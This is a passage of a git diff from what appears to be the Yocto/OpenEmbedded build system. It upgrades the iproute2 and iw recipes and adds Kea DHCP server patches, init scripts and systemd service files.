-SUMMARY = "TCP / IP networking and traffic control utilities"
-DESCRIPTION = "Iproute2 is a collection of utilities for controlling \
-TCP / IP networking and traffic control in Linux. Of the utilities ip \
-and tc are the most important. ip controls IPv4 and IPv6 \
-configuration and tc stands for traffic control."
-HOMEPAGE = "http://www.linuxfoundation.org/collaborate/workgroups/networking/iproute2"
-SECTION = "base"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=eb723b61539feef013de476e68b5c50a \
- file://ip/ip.c;beginline=3;endline=8;md5=689d691d0410a4b64d3899f8d6e31817"
-
-DEPENDS = "flex-native bison-native iptables libcap"
-
-inherit update-alternatives bash-completion pkgconfig
-
-CLEANBROKEN = "1"
-
-PACKAGECONFIG ??= "tipc elf devlink"
-PACKAGECONFIG[tipc] = ",,libmnl,"
-PACKAGECONFIG[elf] = ",,elfutils,"
-PACKAGECONFIG[devlink] = ",,libmnl,"
-
-EXTRA_OEMAKE = "\
- CC='${CC}' \
- KERNEL_INCLUDE=${STAGING_INCDIR} \
- DOCDIR=${docdir}/iproute2 \
- SUBDIRS='lib tc ip bridge misc genl ${@bb.utils.filter('PACKAGECONFIG', 'devlink tipc', d)}' \
- SBINDIR='${base_sbindir}' \
- LIBDIR='${libdir}' \
-"
-
-do_configure_append () {
- sh configure ${STAGING_INCDIR}
- # Explicitly disable ATM support
- sed -i -e '/TC_CONFIG_ATM/d' config.mk
-}
-
-do_install () {
- oe_runmake DESTDIR=${D} install
- mv ${D}${base_sbindir}/ip ${D}${base_sbindir}/ip.iproute2
- install -d ${D}${datadir}
- mv ${D}/share/* ${D}${datadir}/ || true
- rm ${D}/share -rf || true
-}
-
-# The .so files in iproute2-tc are modules, not traditional libraries
-INSANE_SKIP_${PN}-tc = "dev-so"
-
-PACKAGES =+ "\
- ${PN}-devlink \
- ${PN}-genl \
- ${PN}-ifstat \
- ${PN}-lnstat \
- ${PN}-nstat \
- ${PN}-rtacct \
- ${PN}-ss \
- ${PN}-tc \
- ${PN}-tipc \
-"
-
-FILES_${PN}-tc = "${base_sbindir}/tc* \
- ${libdir}/tc/*.so"
-FILES_${PN}-lnstat = "${base_sbindir}/lnstat \
- ${base_sbindir}/ctstat \
- ${base_sbindir}/rtstat"
-FILES_${PN}-ifstat = "${base_sbindir}/ifstat"
-FILES_${PN}-genl = "${base_sbindir}/genl"
-FILES_${PN}-rtacct = "${base_sbindir}/rtacct"
-FILES_${PN}-nstat = "${base_sbindir}/nstat"
-FILES_${PN}-ss = "${base_sbindir}/ss"
-FILES_${PN}-tipc = "${base_sbindir}/tipc"
-FILES_${PN}-devlink = "${base_sbindir}/devlink"
-
-ALTERNATIVE_${PN} = "ip"
-ALTERNATIVE_TARGET[ip] = "${base_sbindir}/ip.${BPN}"
-ALTERNATIVE_LINK_NAME[ip] = "${base_sbindir}/ip"
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN}-tc = "tc"
-ALTERNATIVE_LINK_NAME[tc] = "${base_sbindir}/tc"
-ALTERNATIVE_PRIORITY_${PN}-tc = "100"
diff --git a/meta/recipes-connectivity/iproute2/iproute2/0001-devlink.c-add-missing-include.patch b/meta/recipes-connectivity/iproute2/iproute2/0001-devlink.c-add-missing-include.patch
deleted file mode 100644
index f9580b7d44..0000000000
--- a/meta/recipes-connectivity/iproute2/iproute2/0001-devlink.c-add-missing-include.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-From 5df629d825df4ccc4283228bc0739da126326072 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Sat, 6 Jun 2020 18:00:13 +0000
-Subject: [PATCH] devlink.c: add missing include
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- devlink/devlink.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/devlink/devlink.c b/devlink/devlink.c
-index 16602ab..c278e6d 100644
---- a/devlink/devlink.c
-+++ b/devlink/devlink.c
-@@ -26,6 +26,7 @@
- #include <libmnl/libmnl.h>
- #include <netinet/ether.h>
- #include <sys/types.h>
-+#include <signal.h>
-
- #include "SNAPSHOT.h"
- #include "list.h"
diff --git a/meta/recipes-connectivity/iproute2/iproute2/0001-libc-compat.h-add-musl-workaround.patch b/meta/recipes-connectivity/iproute2/iproute2/0001-libc-compat.h-add-musl-workaround.patch
index 50c4bfb0f2..74e3de1ce9 100644
--- a/meta/recipes-connectivity/iproute2/iproute2/0001-libc-compat.h-add-musl-workaround.patch
+++ b/meta/recipes-connectivity/iproute2/iproute2/0001-libc-compat.h-add-musl-workaround.patch
@@ -1,4 +1,4 @@
-From b7d96340c55afb7023ded0041107c63dbd886196 Mon Sep 17 00:00:00 2001
+From c25f8d1f7a6203dfeb10b39f80ffd314bb84a58d Mon Sep 17 00:00:00 2001
From: Baruch Siach <baruch@tkos.co.il>
Date: Thu, 22 Dec 2016 15:26:30 +0200
Subject: [PATCH] libc-compat.h: add musl workaround
@@ -14,15 +14,16 @@ https://git.buildroot.net/buildroot/tree/package/iproute2/0001-Add-the-musl-work
Signed-off-by: Baruch Siach <baruch@tkos.co.il>
Signed-off-by: Maxin B. John <maxin.john@intel.com>
+
---
include/uapi/linux/libc-compat.h | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/include/uapi/linux/libc-compat.h b/include/uapi/linux/libc-compat.h
-index f38571d..30f0b67 100644
+index a159991..22198fa 100644
--- a/include/uapi/linux/libc-compat.h
+++ b/include/uapi/linux/libc-compat.h
-@@ -49,10 +49,12 @@
+@@ -50,10 +50,12 @@
#define _LIBC_COMPAT_H
/* We have included glibc headers... */
@@ -36,6 +37,3 @@ index f38571d..30f0b67 100644
/* GLIBC headers included first so don't define anything
* that would already be defined. */
---
-2.4.0
-
diff --git a/meta/recipes-connectivity/iproute2/iproute2_5.7.0.bb b/meta/recipes-connectivity/iproute2/iproute2_5.7.0.bb
deleted file mode 100644
index 276afeab11..0000000000
--- a/meta/recipes-connectivity/iproute2/iproute2_5.7.0.bb
+++ /dev/null
@@ -1,12 +0,0 @@
-require iproute2.inc
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/net/${BPN}/${BP}.tar.xz \
- file://0001-libc-compat.h-add-musl-workaround.patch \
- file://0001-devlink.c-add-missing-include.patch \
- "
-
-SRC_URI[sha256sum] = "725dc7ba94aae54c6f8d4223ca055d9fb4fe89d6994b1c03bfb4411c4dd10f21"
-
-# CFLAGS are computed in Makefile and reference CCOPTS
-#
-EXTRA_OEMAKE_append = " CCOPTS='${CFLAGS}'"
diff --git a/meta/recipes-connectivity/iproute2/iproute2_6.7.0.bb b/meta/recipes-connectivity/iproute2/iproute2_6.7.0.bb
new file mode 100644
index 0000000000..8c460adf73
--- /dev/null
+++ b/meta/recipes-connectivity/iproute2/iproute2_6.7.0.bb
@@ -0,0 +1,106 @@
+SUMMARY = "TCP / IP networking and traffic control utilities"
+DESCRIPTION = "Iproute2 is a collection of utilities for controlling \
+TCP / IP networking and traffic control in Linux. Of the utilities ip \
+and tc are the most important. ip controls IPv4 and IPv6 \
+configuration and tc stands for traffic control."
+HOMEPAGE = "http://www.linuxfoundation.org/collaborate/workgroups/networking/iproute2"
+SECTION = "base"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=eb723b61539feef013de476e68b5c50a \
+ "
+
+DEPENDS = "flex-native bison-native iptables libcap"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/net/${BPN}/${BP}.tar.xz \
+ file://0001-libc-compat.h-add-musl-workaround.patch \
+ "
+
+SRC_URI[sha256sum] = "ff942dd9828d7d1f867f61fe72ce433078c31e5d8e4a78e20f02cb5892e8841d"
+
+inherit update-alternatives bash-completion pkgconfig
+
+PACKAGECONFIG ??= "tipc elf devlink"
+PACKAGECONFIG[tipc] = ",,libmnl,"
+PACKAGECONFIG[elf] = ",,elfutils,"
+PACKAGECONFIG[devlink] = ",,libmnl,"
+PACKAGECONFIG[rdma] = ",,libmnl,"
+PACKAGECONFIG[selinux] = ",,libselinux"
+
+IPROUTE2_MAKE_SUBDIRS = "lib tc ip bridge misc genl ${@bb.utils.filter('PACKAGECONFIG', 'devlink tipc rdma', d)}"
+
+# CFLAGS are computed in Makefile and reference CCOPTS
+#
+EXTRA_OEMAKE = "\
+ CC='${CC}' \
+ KERNEL_INCLUDE=${STAGING_INCDIR} \
+ DOCDIR=${docdir}/iproute2 \
+ SUBDIRS='${IPROUTE2_MAKE_SUBDIRS}' \
+ SBINDIR='${base_sbindir}' \
+ CONF_USR_DIR='${libdir}/iproute2' \
+ LIBDIR='${libdir}' \
+ CCOPTS='${CFLAGS}' \
+"
+
+do_configure:append () {
+ sh configure ${STAGING_INCDIR}
+ # Explicitly disable ATM support
+ sed -i -e '/TC_CONFIG_ATM/d' config.mk
+}
+
+do_install () {
+ oe_runmake DESTDIR=${D} install
+ mv ${D}${base_sbindir}/ip ${D}${base_sbindir}/ip.iproute2
+ install -d ${D}${datadir}
+ mv ${D}/share/* ${D}${datadir}/ || true
+ rm ${D}/share -rf || true
+}
+
+# The .so files in iproute2-tc are modules, not traditional libraries
+INSANE_SKIP:${PN}-tc = "dev-so"
+
+IPROUTE2_PACKAGES =+ "\
+ ${PN}-bridge \
+ ${PN}-devlink \
+ ${PN}-genl \
+ ${PN}-ifstat \
+ ${PN}-ip \
+ ${PN}-lnstat \
+ ${PN}-nstat \
+ ${PN}-routel \
+ ${PN}-rtacct \
+ ${PN}-ss \
+ ${PN}-tc \
+ ${PN}-tipc \
+ ${PN}-rdma \
+"
+
+PACKAGE_BEFORE_PN = "${IPROUTE2_PACKAGES}"
+RDEPENDS:${PN} += "${PN}-ip"
+
+FILES:${PN}-tc = "${base_sbindir}/tc* \
+ ${libdir}/tc/*.so"
+FILES:${PN}-lnstat = "${base_sbindir}/lnstat \
+ ${base_sbindir}/ctstat \
+ ${base_sbindir}/rtstat"
+FILES:${PN}-ifstat = "${base_sbindir}/ifstat"
+FILES:${PN}-ip = "${base_sbindir}/ip.* ${libdir}/iproute2"
+FILES:${PN}-genl = "${base_sbindir}/genl"
+FILES:${PN}-rtacct = "${base_sbindir}/rtacct"
+FILES:${PN}-nstat = "${base_sbindir}/nstat"
+FILES:${PN}-ss = "${base_sbindir}/ss"
+FILES:${PN}-tipc = "${base_sbindir}/tipc"
+FILES:${PN}-devlink = "${base_sbindir}/devlink"
+FILES:${PN}-rdma = "${base_sbindir}/rdma"
+FILES:${PN}-routel = "${base_sbindir}/routel"
+FILES:${PN}-bridge = "${base_sbindir}/bridge"
+
+RDEPENDS:${PN}-routel = "python3-core"
+
+ALTERNATIVE:${PN}-ip = "ip"
+ALTERNATIVE_TARGET[ip] = "${base_sbindir}/ip.${BPN}"
+ALTERNATIVE_LINK_NAME[ip] = "${base_sbindir}/ip"
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN}-tc = "tc"
+ALTERNATIVE_LINK_NAME[tc] = "${base_sbindir}/tc"
+ALTERNATIVE_PRIORITY_${PN}-tc = "100"
diff --git a/meta/recipes-connectivity/iw/iw_5.4.bb b/meta/recipes-connectivity/iw/iw_5.4.bb
deleted file mode 100644
index 9f58e49709..0000000000
--- a/meta/recipes-connectivity/iw/iw_5.4.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "nl80211 based CLI configuration utility for wireless devices"
-DESCRIPTION = "iw is a new nl80211 based CLI configuration utility for \
-wireless devices. It supports almost all new drivers that have been added \
-to the kernel recently. "
-HOMEPAGE = "http://wireless.kernel.org/en/users/Documentation/iw"
-SECTION = "base"
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=878618a5c4af25e9b93ef0be1a93f774"
-
-DEPENDS = "libnl"
-
-SRC_URI = "http://www.kernel.org/pub/software/network/iw/${BP}.tar.gz \
- file://0001-iw-version.sh-don-t-use-git-describe-for-versioning.patch \
- file://separate-objdir.patch \
-"
-
-SRC_URI[md5sum] = "08a4f581a39dc62fa85d3af796d844b6"
-SRC_URI[sha256sum] = "943cd2446a6c7242fded3766d054ab2a214a3514b9a8b7e942fed8fb13c1370c"
-
-inherit pkgconfig
-
-EXTRA_OEMAKE = "\
- -f '${S}/Makefile' \
- \
- 'PREFIX=${prefix}' \
- 'SBINDIR=${sbindir}' \
- 'MANDIR=${mandir}' \
-"
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install
-}
diff --git a/meta/recipes-connectivity/iw/iw_6.7.bb b/meta/recipes-connectivity/iw/iw_6.7.bb
new file mode 100644
index 0000000000..b46b54bc93
--- /dev/null
+++ b/meta/recipes-connectivity/iw/iw_6.7.bb
@@ -0,0 +1,31 @@
+SUMMARY = "nl80211 based CLI configuration utility for wireless devices"
+DESCRIPTION = "iw is a new nl80211 based CLI configuration utility for \
+wireless devices. It supports almost all new drivers that have been added \
+to the kernel recently. "
+HOMEPAGE = "https://wireless.wiki.kernel.org/en/users/documentation/iw"
+SECTION = "base"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=878618a5c4af25e9b93ef0be1a93f774"
+
+DEPENDS = "libnl"
+
+SRC_URI = "http://www.kernel.org/pub/software/network/iw/${BP}.tar.gz \
+ file://0001-iw-version.sh-don-t-use-git-describe-for-versioning.patch \
+ file://separate-objdir.patch \
+"
+
+SRC_URI[sha256sum] = "b3ef3fa85fa1177b11d3e97d6d38cdfe10ee250ca31482b581f3bd0fc79cb015"
+
+inherit pkgconfig
+
+EXTRA_OEMAKE = "\
+ -f '${S}/Makefile' \
+ \
+ 'PREFIX=${prefix}' \
+ 'SBINDIR=${sbindir}' \
+ 'MANDIR=${mandir}' \
+"
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' install
+}
diff --git a/meta/recipes-connectivity/kea/files/0001-kea-fix-reproducible-build-failure.patch b/meta/recipes-connectivity/kea/files/0001-kea-fix-reproducible-build-failure.patch
new file mode 100644
index 0000000000..8a5bd00302
--- /dev/null
+++ b/meta/recipes-connectivity/kea/files/0001-kea-fix-reproducible-build-failure.patch
@@ -0,0 +1,62 @@
+From f9bcfed5a1d44d9211c5f6eba403a9898c8c9057 Mon Sep 17 00:00:00 2001
+From: Sudip Mukherjee <sudipm.mukherjee@gmail.com>
+Date: Tue, 8 Aug 2023 19:03:13 +0100
+Subject: [PATCH] kea: fix reproducible build failure
+
+New version of Kea has started using path of build-dir instead of
+src-dir which results in reproducible builds failure.
+Use src-dir as is used in v2.2.0
+
+Upstream-Status: Pending
+https://gitlab.isc.org/isc-projects/kea/-/issues/3007
+
+Upstream has confirmed the patch will not be accepted but discussions
+with upstream is still going on, we might have a proper solution later.
+
+Signed-off-by: Sudip Mukherjee <sudipm.mukherjee@gmail.com>
+---
+ src/bin/admin/kea-admin.in | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/src/bin/admin/kea-admin.in b/src/bin/admin/kea-admin.in
+index 034a0ee..8ab11ab 100644
+--- a/src/bin/admin/kea-admin.in
++++ b/src/bin/admin/kea-admin.in
+@@ -51,14 +51,14 @@ dump_qry=""
+ if test -f "@datarootdir@/@PACKAGE_NAME@/scripts/admin-utils.sh"; then
+ . "@datarootdir@/@PACKAGE_NAME@/scripts/admin-utils.sh"
+ else
+- . "@abs_top_builddir@/src/bin/admin/admin-utils.sh"
++ . "@abs_top_srcdir@/src/bin/admin/admin-utils.sh"
+ fi
+
+ # Find the installed kea-lfc if available. Fallback to sources otherwise.
+ if test -x "@sbindir@/kea-lfc"; then
+ kea_lfc="@sbindir@/kea-lfc"
+ else
+- kea_lfc="@abs_top_builddir@/src/bin/lfc/kea-lfc"
++ kea_lfc="@abs_top_srcdir@/src/bin/lfc/kea-lfc"
+ fi
+
+ # Prints out usage version.
+@@ -355,7 +355,7 @@ mysql_upgrade() {
+ # Check if there are any files in it
+ num_files=$(find "${upgrade_scripts_dir}" -name 'upgrade*.sh' -type f | wc -l)
+ if [ "$num_files" -eq 0 ]; then
+- upgrade_scripts_dir=@abs_top_builddir@/src/share/database/scripts/mysql
++ upgrade_scripts_dir=@abs_top_srcdir@/src/share/database/scripts/mysql
+
+ # Check if the scripts directory exists at all.
+ if [ ! -d ${upgrade_scripts_dir} ]; then
+@@ -405,7 +405,7 @@ pgsql_upgrade() {
+ # Check if there are any files in it
+ num_files=$(find "${upgrade_scripts_dir}" -name 'upgrade*.sh' -type f | wc -l)
+ if [ "$num_files" -eq 0 ]; then
+- upgrade_scripts_dir=@abs_top_builddir@/src/share/database/scripts/pgsql
++ upgrade_scripts_dir=@abs_top_srcdir@/src/share/database/scripts/pgsql
+
+ # Check if the scripts directory exists at all.
+ if [ ! -d ${upgrade_scripts_dir} ]; then
+--
+2.39.2
+
diff --git a/meta/recipes-connectivity/kea/files/0001-src-lib-log-logger_unittest_support.cc-do-not-write-.patch b/meta/recipes-connectivity/kea/files/0001-src-lib-log-logger_unittest_support.cc-do-not-write-.patch
new file mode 100644
index 0000000000..94fbd12737
--- /dev/null
+++ b/meta/recipes-connectivity/kea/files/0001-src-lib-log-logger_unittest_support.cc-do-not-write-.patch
@@ -0,0 +1,28 @@
+From 841924e1fe8db2bff3eab8d37634ef08f86c00ec Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Tue, 10 Nov 2020 15:57:03 +0000
+Subject: [PATCH] src/lib/log/logger_unittest_support.cc: do not write build
+ path into binary
+
+This breaks reproducibility and is needed only in unit testing.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+---
+ src/lib/log/logger_unittest_support.cc | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/lib/log/logger_unittest_support.cc b/src/lib/log/logger_unittest_support.cc
+index fc01c6e..f46d17e 100644
+--- a/src/lib/log/logger_unittest_support.cc
++++ b/src/lib/log/logger_unittest_support.cc
+@@ -84,7 +84,7 @@ void initLogger(isc::log::Severity severity, int dbglevel) {
+ const char* localfile = getenv("KEA_LOGGER_LOCALMSG");
+
+ // Set a directory for creating lockfiles when running tests
+- setenv("KEA_LOCKFILE_DIR", TOP_BUILDDIR, 0);
++ //setenv("KEA_LOCKFILE_DIR", TOP_BUILDDIR, 0);
+
+ // Initialize logging
+ initLogger(root, severity, dbglevel, localfile);
diff --git a/meta/recipes-connectivity/kea/files/fix-multilib-conflict.patch b/meta/recipes-connectivity/kea/files/fix-multilib-conflict.patch
new file mode 100644
index 0000000000..5b135b3aee
--- /dev/null
+++ b/meta/recipes-connectivity/kea/files/fix-multilib-conflict.patch
@@ -0,0 +1,58 @@
+From 06ebd1b2ced426c420ed162980eca194f9f918ae Mon Sep 17 00:00:00 2001
+From: Kai Kang <kai.kang@windriver.com>
+Date: Tue, 22 Sep 2020 15:02:33 +0800
+Subject: [PATCH] There are conflict of config files between kea and lib32-kea:
+
+| Error: Transaction test error:
+| file /etc/kea/kea-ctrl-agent.conf conflicts between attempted installs of
+ lib32-kea-1.7.10-r0.core2_32 and kea-1.7.10-r0.core2_64
+| file /etc/kea/kea-dhcp4.conf conflicts between attempted installs of
+ lib32-kea-1.7.10-r0.core2_32 and kea-1.7.10-r0.core2_64
+
+Because they are all commented out, replace the expanded libdir path with
+'$libdir' in the config files to avoid conflict.
+
+Upstream-Status: Submitted [https://gitlab.isc.org/isc-projects/kea/-/issues/2602]
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+---
+ src/bin/keactrl/kea-ctrl-agent.conf.pre | 3 ++-
+ src/bin/keactrl/kea-dhcp4.conf.pre | 4 ++--
+ 2 files changed, 4 insertions(+), 3 deletions(-)
+
+diff --git a/src/bin/keactrl/kea-ctrl-agent.conf.pre b/src/bin/keactrl/kea-ctrl-agent.conf.pre
+index e6ae8b8..50a3092 100644
+--- a/src/bin/keactrl/kea-ctrl-agent.conf.pre
++++ b/src/bin/keactrl/kea-ctrl-agent.conf.pre
+@@ -51,7 +51,8 @@
+ // Agent will fail to start.
+ "hooks-libraries": [
+ // {
+-// "library": "@libdir@/kea/hooks/control-agent-commands.so",
++// // Replace $libdir with real library path /usr/lib or /usr/lib64
++// "library": "$libdir/kea/hooks/control-agent-commands.so",
+ // "parameters": {
+ // "param1": "foo"
+ // }
+diff --git a/src/bin/keactrl/kea-dhcp4.conf.pre b/src/bin/keactrl/kea-dhcp4.conf.pre
+index 6edb8a1..b2a7385 100644
+--- a/src/bin/keactrl/kea-dhcp4.conf.pre
++++ b/src/bin/keactrl/kea-dhcp4.conf.pre
+@@ -255,7 +255,7 @@
+ // // of all devices serviced by Kea, including their identifiers
+ // // (like MAC address), their location in the network, times
+ // // when they were active etc.
+- // "library": "@libdir@/kea/hooks/libdhcp_legal_log.so",
++ // "library": "$libdir/kea/hooks/libdhcp_legal_log.so",
+ // "parameters": {
+ // "path": "/var/lib/kea",
+ // "base-name": "kea-forensic4"
+@@ -272,7 +272,7 @@
+ // // of specific options or perhaps even a combination of several
+ // // options and fields to uniquely identify a client. Those scenarios
+ // // are addressed by the Flexible Identifiers hook application.
+- // "library": "@libdir@/kea/hooks/libdhcp_flex_id.so",
++ // "library": "$libdir/kea/hooks/libdhcp_flex_id.so",
+ // "parameters": {
+ // "identifier-expression": "relay4[2].hex"
+ // }
diff --git a/meta/recipes-connectivity/kea/files/fix_pid_keactrl.patch b/meta/recipes-connectivity/kea/files/fix_pid_keactrl.patch
new file mode 100644
index 0000000000..63a6a2805b
--- /dev/null
+++ b/meta/recipes-connectivity/kea/files/fix_pid_keactrl.patch
@@ -0,0 +1,29 @@
+From c878a356712606549f7f188b62f7d1cae08a176e Mon Sep 17 00:00:00 2001
+From: Armin kuster <akuster808@gmail.com>
+Date: Wed, 14 Oct 2020 22:48:31 -0700
+Subject: [PATCH] Busybox does not support ps -p so use pgrep
+
+Upstream-Status: Inappropriate [embedded specific]
+Based on changes from Diego Sueiro <Diego.Sueiro@arm.com>
+
+Signed-off-by: Armin kuster <akuster808@gmail.com>
+
+---
+ src/bin/keactrl/keactrl.in | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/bin/keactrl/keactrl.in b/src/bin/keactrl/keactrl.in
+index 450e997..c353ca9 100644
+--- a/src/bin/keactrl/keactrl.in
++++ b/src/bin/keactrl/keactrl.in
+@@ -149,8 +149,8 @@ check_running() {
+ # Get the PID from the PID file (if it exists)
+ get_pid_from_file "${proc_name}"
+ if [ ${_pid} -gt 0 ]; then
+- # Use ps to check if PID is alive
+- if ps -p ${_pid} 1>/dev/null; then
++ # Use pgrep and grep to check if PID is alive
++ if pgrep -v 1 | grep ${_pid} 1>/dev/null; then
+ # No error, so PID IS ALIVE
+ _running=1
+ fi
diff --git a/meta/recipes-connectivity/kea/files/kea-dhcp-ddns-server b/meta/recipes-connectivity/kea/files/kea-dhcp-ddns-server
new file mode 100644
index 0000000000..50fe40d439
--- /dev/null
+++ b/meta/recipes-connectivity/kea/files/kea-dhcp-ddns-server
@@ -0,0 +1,46 @@
+#!/bin/sh
+### BEGIN INIT INFO
+# Provides: kea-dhcp-ddns-server
+# Required-Start: $local_fs $network $remote_fs $syslog
+# Required-Stop: $local_fs $network $remote_fs $syslog
+# Default-Start: 2 3 4 5
+# Default-Stop: 0 1 6
+# Short-Description: ISC KEA DHCP IPv6 Server
+### END INIT INFO
+
+PATH=/sbin:/usr/sbin:/bin:/usr/bin
+DESC="kea-dhcp-ddns-server"
+NAME=kea-dhcp-ddns
+DAEMON=/usr/sbin/keactrl
+DAEMON_ARGS=" -s dhcp_ddns"
+
+set -e
+
+# Exit if the package is not installed
+[ -x "$DAEMON" ] || exit 0
+
+# Source function library.
+. /etc/init.d/functions
+
+case "$1" in
+ start)
+ echo -n "Starting $DESC: "
+ start-stop-daemon -S -b -n $NAME -x $DAEMON -- start $DAEMON_ARGS
+ echo "done."
+ ;;
+ stop)
+ echo -n "Stopping $DESC: "
+ kpid=`pidof $NAME`
+ kill $kpid
+ echo "done."
+ ;;
+ restart|force-reload)
+ #
+ $0 stop
+ $0 start
+ ;;
+ *)
+ echo "Usage: $SCRIPTNAME {start|stop|restart|force-reload}" >&2
+ exit 1
+ ;;
+esac
diff --git a/meta/recipes-connectivity/kea/files/kea-dhcp-ddns.service b/meta/recipes-connectivity/kea/files/kea-dhcp-ddns.service
new file mode 100644
index 0000000000..f6059d73cb
--- /dev/null
+++ b/meta/recipes-connectivity/kea/files/kea-dhcp-ddns.service
@@ -0,0 +1,12 @@
+[Unit]
+Description=Kea DHCP-DDNS Server
+Wants=network-online.target
+After=network-online.target
+After=time-sync.target
+
+[Service]
+ExecStartPre=@BASE_BINDIR@/mkdir -p @LOCALSTATEDIR@/run/kea/
+ExecStart=@SBINDIR@/kea-dhcp-ddns -c @SYSCONFDIR@/kea/kea-dhcp-ddns.conf
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/kea/files/kea-dhcp4-server b/meta/recipes-connectivity/kea/files/kea-dhcp4-server
new file mode 100644
index 0000000000..e83e51025d
--- /dev/null
+++ b/meta/recipes-connectivity/kea/files/kea-dhcp4-server
@@ -0,0 +1,46 @@
+#!/bin/sh
+### BEGIN INIT INFO
+# Provides: kea-dhcp4-server
+# Required-Start: $local_fs $network $remote_fs $syslog
+# Required-Stop: $local_fs $network $remote_fs $syslog
+# Default-Start: 2 3 4 5
+# Default-Stop: 0 1 6
+# Short-Description: ISC KEA DHCP IPv6 Server
+### END INIT INFO
+
+PATH=/sbin:/usr/sbin:/bin:/usr/bin
+DESC="kea-dhcp4-server"
+NAME=kea-dhcp4
+DAEMON=/usr/sbin/keactrl
+DAEMON_ARGS=" -s dhcp4"
+
+set -e
+
+# Exit if the package is not installed
+[ -x "$DAEMON" ] || exit 0
+
+# Source function library.
+. /etc/init.d/functions
+
+case "$1" in
+ start)
+ echo -n "Starting $DESC: "
+ start-stop-daemon -S -b -n $NAME -x $DAEMON -- start $DAEMON_ARGS
+ echo "done."
+ ;;
+ stop)
+ echo -n "Stopping $DESC: "
+ kpid=`pidof $NAME`
+ kill $kpid
+ echo "done."
+ ;;
+ restart|force-reload)
+ #
+ $0 stop
+ $0 start
+ ;;
+ *)
+ echo "Usage: $SCRIPTNAME {start|stop|restart|force-reload}" >&2
+ exit 1
+ ;;
+esac
diff --git a/meta/recipes-connectivity/kea/files/kea-dhcp4.service b/meta/recipes-connectivity/kea/files/kea-dhcp4.service
new file mode 100644
index 0000000000..b851ea71c5
--- /dev/null
+++ b/meta/recipes-connectivity/kea/files/kea-dhcp4.service
@@ -0,0 +1,13 @@
+[Unit]
+Description=Kea DHCPv4 Server
+Wants=network-online.target
+After=network-online.target
+After=time-sync.target
+
+[Service]
+ExecStartPre=@BASE_BINDIR@/mkdir -p @LOCALSTATEDIR@/run/kea/
+ExecStartPre=@BASE_BINDIR@/mkdir -p @LOCALSTATEDIR@/lib/kea
+ExecStart=@SBINDIR@/kea-dhcp4 -c @SYSCONFDIR@/kea/kea-dhcp4.conf
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/kea/files/kea-dhcp6-server b/meta/recipes-connectivity/kea/files/kea-dhcp6-server
new file mode 100644
index 0000000000..10f2d22641
--- /dev/null
+++ b/meta/recipes-connectivity/kea/files/kea-dhcp6-server
@@ -0,0 +1,47 @@
+#!/bin/sh
+### BEGIN INIT INFO
+# Provides: kea-dhcp6-server
+# Required-Start: $local_fs $network $remote_fs $syslog
+# Required-Stop: $local_fs $network $remote_fs $syslog
+# Default-Start: 2 3 4 5
+# Default-Stop: 0 1 6
+# Short-Description: ISC KEA DHCP IPv6 Server
+### END INIT INFO
+
+# PATH should only include /usr/* if it runs after the mountnfs.sh script
+PATH=/sbin:/usr/sbin:/bin:/usr/bin
+DESC="kea-dhcp6-server"
+NAME=kea-dhcp6
+DAEMON=/usr/sbin/keactrl
+DAEMON_ARGS=" -s dhcp6"
+
+set -e
+
+# Exit if the package is not installed
+[ -x "$DAEMON" ] || exit 0
+
+# Source function library.
+. /etc/init.d/functions
+
+case "$1" in
+ start)
+ echo -n "Starting $DESC: "
+ start-stop-daemon -S -b -n $NAME -x $DAEMON -- start $DAEMON_ARGS
+ echo "done."
+ ;;
+ stop)
+ echo -n "Stopping $DESC: "
+ kpid=`pidof $NAME`
+ kill $kpid
+ echo "done."
+ ;;
+ restart|force-reload)
+ #
+ $0 stop
+ $0 start
+ ;;
+ *)
+ echo "Usage: $SCRIPTNAME {start|stop|restart|force-reload}" >&2
+ exit 1
+ ;;
+esac
diff --git a/meta/recipes-connectivity/kea/files/kea-dhcp6.service b/meta/recipes-connectivity/kea/files/kea-dhcp6.service
new file mode 100644
index 0000000000..0f9f0ef8d9
--- /dev/null
+++ b/meta/recipes-connectivity/kea/files/kea-dhcp6.service
@@ -0,0 +1,13 @@
+[Unit]
+Description=Kea DHCPv6 Server
+Wants=network-online.target
+After=network-online.target
+After=time-sync.target
+
+[Service]
+ExecStartPre=@BASE_BINDIR@/mkdir -p @LOCALSTATEDIR@/run/kea/
+ExecStartPre=@BASE_BINDIR@/mkdir -p @LOCALSTATEDIR@/lib/kea
+ExecStart=@SBINDIR@/kea-dhcp6 -c @SYSCONFDIR@/kea/kea-dhcp6.conf
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/kea/kea_2.4.1.bb b/meta/recipes-connectivity/kea/kea_2.4.1.bb
new file mode 100644
index 0000000000..c3aa4dc8f0
--- /dev/null
+++ b/meta/recipes-connectivity/kea/kea_2.4.1.bb
@@ -0,0 +1,78 @@
